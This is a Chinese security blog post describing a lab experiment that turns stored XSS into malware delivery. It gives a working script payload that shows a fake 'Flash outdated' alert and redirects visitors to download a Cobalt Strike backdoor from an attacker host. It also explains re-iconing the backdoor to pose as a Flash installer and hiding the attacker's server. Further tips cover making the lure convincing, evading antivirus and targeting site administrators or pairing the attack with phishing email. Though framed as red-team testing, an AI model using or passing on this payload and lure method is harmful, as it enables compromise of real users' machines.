XSS另类利用思路之——“出海捕鱼”
前言:
在进行测试时,XSS漏洞一直是我们很关注的问题,验证时通常会选择用弹窗的形式来验证漏洞的存在。对于XSS的利用方式目前更多的说法都是用来进行获取Cookie,这种方式通常在站点设置了httponly后,通常会失效,即使获取到了也只是后台权限,那么有没有办法获取到系统权限呢?这就需要结合“钓鱼”的思路了。今天的文章就是分享一个这两天自己在做的一个实验。
实验准备:
(以下实验环境均为本地搭建的虚机)
-
Windows 192.168.10.133---外网VPS
-
Windows 192.168.10.131---部署外网存在XSS漏洞的站点(以DVWA演示)
步骤:
1.发现漏洞:
在留言板等可以展示的区域发现了存在存储型XSS漏洞:
2.制作后门:
这里图方便直接用CobalStrike生成一个exe来用,跳过免杀等处理。
3.需求分析:
我们要实现的是让访问了这个页面的人都会弹框提示“Flash版本过低请进行更新”的提示,同时要能够给对方弹出下载框。所以有以下几步要做:
(1)对后门文件的图标就行修改
(2)在VPS上部署WEB服务
(3)编写实现弹框提示和下载的JS代码
4.具体实现:
(1)使用Resource Hacker对文件资源进行修改:
导入我们的后门:
File-Open
在Icon下面找到我们原本的图标文件:
找一张我们要用来替换的图片,转换成.ico,这个的话在网上有很多在线转换的网站。
然后将图标替换掉:
右键--Replace Icon
然后保存为新的文件即可。
(2)web服务
部署WEB服务,我本地实验所以直接用phpstudy了,然后将文件在根目录下,只要能保证直接访问该文件可以变成下载的提示即可。
(3)弹窗与下载提示代码:
<script>alert("Flash版本過低請安裝新版本!");location.href="http://192.168.10.133/flashplayer_install_tw.exe";</script>
到此就万事具备了,将语句插入到XSS的利用点,看效果:
当对方下载执行后就成功在CobalStrike上线了。
注:
因为这种可能很多时候会在一些访问毕竟多的页面上,所以当攻击者在上面挂了这些代码后,可能会有很多人去点,就会造成“捕鱼”的效果,而“出海”其实是指代实验内网虚机映射到外网的方式。
思考:
1.如何隐藏自己
这个方式的话会容易暴露VPS的地址,所以这个有一个利用方式就是查找该站点下是否存在任意文件上传漏洞,不需要是能解析的那种,只要能访问,且最好是不会修改文件名,然后就可以变成是从当前网站上下载后门文件了,就可以很好的隐藏自己。当然了,也可以利用类似花生壳、四方通这种工具,将自己内网的虚拟机映射到外网的域名上,然后对下载连接做一下短链接,然后在放出去也会具备一定的隐蔽性:
当然了,这种方法有的短链接站点会有提示:
所以其实如果能上传在该站点上是最好的选择。
2.如何更可信
(1)语言要相同,例如目标是英文站点,那你肯定要把提示的语言设置为英语,宝岛的当然就是繁体了。
(2)文件名要像,这里只是举个例子所以用的flash,毕竟这个大家遇到的多,根据情况也可以进行改变,如果用flash,最好的方法就是去下一个新版本看下名字和图标,然后进行替换。
(3)要考虑如何不被杀软报警。。。比如证书、签名啥的。。。
3.用途
上面说的那些放在首页、留言板的功能可能对我们进行安全测试,如红队测试可能不一定很有用,但是如果漏洞是在后台的话,通过前台发送“留言”、“反馈”、“申请”之类的信息时,很可能会导致后台的客服人员、管理员中招,从而使得红队的攻击队员直接进入内网。当然,如果结合了邮件钓鱼,当钓鱼邮件的内容中存放的是一个可信的URL时,对方的防备心理明显会下降,打开后触发首页的XSS,则可能被引导下载并运行后门程序。
总结:
利用方式其实还可以有很多,主要看你能想到多少了,这里只是提供一个思路,各位可以继续发挥。
欢迎分享转发。
(信安随笔)